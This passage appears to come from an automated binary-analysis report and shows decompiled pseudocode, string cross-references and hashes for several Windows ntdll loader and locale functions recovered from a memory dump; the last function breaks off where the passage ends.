String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: 5b8daa27fff721fb5a1e23a44228624f61f75ac74df40a3c61469e37015121c0
Instruction ID: a6506513e316a562638687ae617d2efe02a456ab8ff9430423bb0894a0567e81
Opcode Fuzzy Hash: 5b8daa27fff721fb5a1e23a44228624f61f75ac74df40a3c61469e37015121c0
Instruction Fuzzy Hash: A931F235210504EFE720EF98C885F6773A8EF09724F1544E5F505DB260F674BC92CA68

Uniqueness

Uniqueness Score: -1.00%

Function 04B28794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04B28794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E04B2934A() != 0) {
								_t159 = E04B9A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x4c05780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E04B95510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x4c05780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E04B2849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E04B28999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E04B28999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x4c05c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x4c05c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E04B32280(_t92, 0x4c086cc);
															_t94 = E04BE9DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E04B461A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x4c05c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E04B28A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x4c05c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x4c05c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E04B5F380(_t136, 0x4af1184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E04B32280(_t108, 0x4c086cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E04B461A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E04BE9D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E04B2FFB0(_t118, _t156, 0x4c086cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E04B59A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x04b28799
0x04b2879d
0x04b287a1
0x04b287a3
0x04b287a8
0x04b287c3
0x04b287c3
0x04b287c8
0x04b287d1
0x04b287d4
0x04b287d8
0x04b287e5
0x04b287ec
0x04b79bfe
0x04b79c00
0x04b79c02
0x04b79c08
0x04b79c0d
0x04b79c0f
0x04b79c14
0x04b79c2d
0x04b79c32
0x04b79c37
0x04b79c3a
0x04b79c3c
0x04b79c42
0x04b79c42
0x04b79c3c
0x04b79c02
0x04b287da
0x04b287df
0x04b287e3
0x00000000
0x00000000
0x04b287e3
0x04b287f2
0x00000000
0x04b287fb
0x04b287fd
0x04b287fe
0x04b2880e
0x04b2880f
0x04b28810
0x04b28814
0x04b2881a
0x04b2881c
0x04b2881f
0x04b28821
0x04b28822
0x04b28824
0x04b28826
0x04b2882c
0x04b2882e
0x04b79c48
0x04b79c48
0x04b28834
0x04b28834
0x04b28837
0x00000000
0x00000000
0x04b28837
0x04b2882e
0x04b2883d
0x04b28840
0x04b28843
0x04b28846
0x04b28849
0x04b2884c
0x04b2884e
0x04b28850
0x04b28852
0x04b28854
0x04b28857
0x04b288b4
0x04b288b6
0x04b288b6
0x04b28859
0x04b28859
0x04b28859
0x04b28861
0x04b28866
0x04b2886a
0x04b2893d
0x04b28941
0x00000000
0x04b28947
0x04b28947
0x04b2894a
0x04b2894c
0x00000000
0x04b28952
0x04b28955
0x04b2895a
0x04b2895d
0x04b2895d
0x04b2895f
0x04b28961
0x04b28961
0x04b28968
0x00000000
0x00000000
0x04b2896a
0x04b2896b
0x04b2896e
0x00000000
0x04b28970
0x04b28970
0x04b28970
0x04b28970
0x04b28972
0x04b28972
0x04b28974
0x00000000
0x04b2897a
0x04b2897a
0x04b2897d
0x00000000
0x04b28983
0x04b79c65
0x04b79c6d
0x04b79c72
0x04b79c75
0x04b79c75
0x04b79c82
0x04b79c86
0x04b79c87
0x04b79c88
0x04b79c89
0x04b79c8c
0x04b79c90
0x04b79c95
0x04b79c97
0x04b79ca0
0x04b79ca3
0x04b79ca9
0x04b79ca9
0x00000000
0x04b79ca9
0x04b79ca3
0x00000000
0x04b79c97
0x04b2897d
0x00000000
0x04b28974
0x04b28988
0x04b28992
0x04b28996
0x00000000
0x04b28996
0x04b2894c
0x00000000
0x04b28870
0x04b2887b
0x04b2887d
0x04b2887f
0x04b28881
0x04b28884
0x04b28884
0x04b28886
0x04b28889
0x04b2888c
0x04b2888e
0x04b28891
0x04b28891
0x04b28898
0x00000000
0x00000000
0x04b2889a
0x04b2889b
0x04b2889e
0x00000000
0x00000000
0x04b288a0
0x04b288a8
0x04b288b0
0x04b288b2
0x04b288d3
0x04b288d5
0x00000000
0x04b288d7
0x04b288db
0x04b288dc
0x04b288e0
0x04b288e8
0x04b288ee
0x04b288f0
0x04b288f3
0x04b288fc
0x04b28901
0x04b28906
0x04b2890c
0x04b2890c
0x04b2890f
0x04b28916
0x04b28917
0x04b28918
0x04b28919
0x04b2891a
0x04b2891f
0x04b28921
0x04b79c52
0x04b79c55
0x04b79c5b
0x04b79cac
0x04b79cc0
0x04b79cc0
0x04b79c55
0x04b28927
0x04b28927
0x04b2892f
0x04b28933
0x00000000
0x04b288f5
0x04b288f5
0x00000000
0x04b288f7
0x04b288f7
0x04b288fa
0x00000000
0x00000000
0x00000000
0x00000000
0x04b288fa
0x04b288f5
0x04b288f3
0x00000000
0x04b288d5
0x00000000
0x04b288b2
0x04b288c9
0x00000000
0x04b288c9
0x04b2887f
0x04b2886a
0x04b28857
0x04b28852
0x04b288bf
0x04b288bf
0x04b287aa
0x04b287ad
0x04b287ae
0x04b287b4
0x04b287b5
0x04b287b6
0x04b287b8
0x04b287bd
0x04b287c1
0x04b287f4
0x04b287fa
0x00000000
0x00000000
0x00000000
0x04b287c1
0x00000000

Strings

LdrpDoPostSnapWork, xrefs: 04B79C1E
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 04B79C18
minkernel\ntdll\ldrsnap.c, xrefs: 04B79C28

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: 73d6098771a9bd6bbf86694e7afe7b7982f8f7c60817ac1c583335f662cfd600
Instruction ID: 1e9f2680d43cba0ccb67debe652433be6f039a71bf4ffe47bbcfb3d8de4fec8b
Opcode Fuzzy Hash: 73d6098771a9bd6bbf86694e7afe7b7982f8f7c60817ac1c583335f662cfd600
Instruction Fuzzy Hash: 8B910671A00225EFEF18EF59C980A7AB7B5FF54354B0582E9E909AB250E730FD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04B27E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E04B27E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E04B2CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E04B1C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x4c05780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E04B95510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x4c05780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E04B37D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E04B37D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E04B97016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E04B37D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E04B37D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E04B97016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E04B4A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E04B1B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x04b27e4c
0x04b27e50
0x04b27e55
0x04b27e58
0x04b27e5d
0x04b27e71
0x04b27f33
0x04b27e77
0x04b27e77
0x04b27e79
0x04b27e79
0x04b27e7e
0x04b27f45
0x04b79848
0x00000000
0x04b79848
0x04b27f4e
0x04b27f53
0x04b27f5a
0x00000000
0x00000000
0x04b7985a
0x04b79862
0x04b79866
0x00000000
0x04b7986c
0x00000000
0x04b7986c
0x04b27e84
0x04b27e84
0x04b27e8d
0x04b79871
0x04b27eb8
0x04b27ec0
0x04b27ec0
0x04b27e9a
0x04b7987e
0x00000000
0x00000000
0x04b79884
0x04b7988b
0x04b798a7
0x04b798ac
0x04b798b1
0x04b798b6
0x04b798b8
0x04b798b8
0x04b798b9
0x00000000
0x04b798b9
0x04b27ea0
0x04b27ea7
0x00000000
0x00000000
0x04b27eac
0x04b27eb1
0x04b27ec6
0x04b27ed0
0x04b798cc
0x04b27ed6
0x04b27ed6
0x04b27ed6
0x04b27ede
0x04b27ee3
0x04b798e3
0x04b798f0
0x04b79902
0x04b798f2
0x04b798fb
0x04b798fb
0x04b79907
0x04b7991d
0x04b7991d
0x04b79907
0x04b798e3
0x04b27ef0
0x04b27f14
0x04b27f14
0x04b27f1e
0x04b79946
0x04b27f24
0x04b27f24
0x04b27f24
0x04b27f2c
0x04b7996a
0x04b79975
0x04b79975
0x04b7997e
0x04b79993
0x04b79993
0x04b7997e
0x00000000
0x04b27ef2
0x04b27efc
0x04b27f0a
0x04b27f0e
0x04b79933
0x00000000
0x04b79933
0x00000000
0x04b27f0e
0x00000000
0x00000000
0x00000000
0x04b27eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 04B798A2
LdrpCompleteMapModule, xrefs: 04B79898
Could not validate the crypto signature for DLL %wZ, xrefs: 04B79891

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 01dc744761179ca1f76ef308c8ffdbdc986ef03a1800f9e27eca9eef18ae8d19
Instruction ID: 23f705b8361d27a2b7ec91159b3c0c4a2f1b43a1aee09929b350ba61f8bc90db
Opcode Fuzzy Hash: 01dc744761179ca1f76ef308c8ffdbdc986ef03a1800f9e27eca9eef18ae8d19
Instruction Fuzzy Hash: C151E1716047459BEB21DF68CA44B6AB7E8FB04314F040AE9E8659B7E1DB34FD00CB65

Uniqueness

Uniqueness Score: -1.00%

Function 04B1E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E04B1E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E04B1F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E04B595D0();
						}
						if(_t78 != 0) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E04B5FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E04B5BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E04B59600();
					if(_t97 < 0) {
						goto L6;
					}
					E04B5BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L04B1F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E04B5BB40(_t83, _t102 + 0x24, _t78);
								if(L04B243C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E04B5BB40(_t84, _t102 + 0x24, _t94);
									if(L04B243C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x04b1e620
0x04b1e628
0x04b1e62f
0x04b1e631
0x04b1e635
0x04b1e637
0x04b1e63e
0x04b75503
0x04b75503
0x04b1e64c
0x04b1e64c
0x04b1e651
0x00000000
0x00000000
0x04b1e661
0x04b1e665
0x04b7542a
0x04b1e715
0x04b1e71a
0x04b1e71c
0x04b1e720
0x04b1e720
0x04b1e727
0x04b1e736
0x04b1e736
0x04b1e743
0x04b1e743
0x04b1e673
0x04b1e678
0x04b1e67d
0x04b1e682
0x04b1e685
0x04b1e692
0x04b1e69b
0x04b1e6a3
0x04b1e6ad
0x04b1e6b1
0x04b1e6b2
0x04b1e6bb
0x04b1e6bf
0x04b1e6c0
0x04b1e6c8
0x04b1e6cc
0x04b1e6d5
0x04b1e6d9
0x00000000
0x00000000
0x04b1e6e5
0x04b1e6ea
0x04b1e6f9
0x04b1e70b
0x04b1e70f
0x04b75439
0x04b7545e
0x04b7545e
0x00000000
0x04b7545e
0x04b7543b
0x04b7543e
0x04b75440
0x04b75445
0x04b75472
0x04b75475
0x04b7548d
0x04b75493
0x04b754a9
0x00000000
0x00000000
0x04b754ab
0x04b754b4
0x04b754bc
0x04b754c8
0x04b754de
0x04b754fb
0x04b754e0
0x04b754e6
0x04b754eb
0x04b754eb
0x04b754de
0x00000000
0x04b754bc
0x04b75477
0x04b7547a
0x04b75480
0x04b75483
0x04b75486
0x04b7548b
0x00000000
0x00000000
0x00000000
0x04b7548b
0x00000000
0x00000000
0x00000000
0x00000000
0x04b75447
0x04b75447
0x04b75447
0x04b75447
0x04b7544e
0x00000000
0x00000000
0x04b75450
0x04b75452
0x04b75455
0x04b7545a
0x00000000
0x00000000
0x00000000
0x04b7545c
0x04b7546a
0x04b7546d
0x04b7546f
0x00000000
0x04b7546f
0x04b1e70f

Strings

@, xrefs: 04B1E6C0
InstallLanguageFallback, xrefs: 04B1E6DB
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 04B1E68C

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 0d82b3868a8a42030ef91da3723b5aa38012ad01be9696dbe63885e52927064d
Instruction ID: 8a7cd777889e9b1e2384152741710d70887bf8d2c5d10ecc7b3240c0c6ffa10e
Opcode Fuzzy Hash: 0d82b3868a8a42030ef91da3723b5aa38012ad01be9696dbe63885e52927064d
Instruction Fuzzy Hash: DE519E72508315ABD724DF68C440A6BB3E8EF88714F4409AEF99597650FB34EA0487A2

Uniqueness

Uniqueness Score: -1.00%

Function 04BDE539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E04BDE539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E04BDBBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E04BDBCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E04BDAFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E04B59730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E04BDA80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E04BDA854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E04B59730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E04BDA80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E04BDA854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
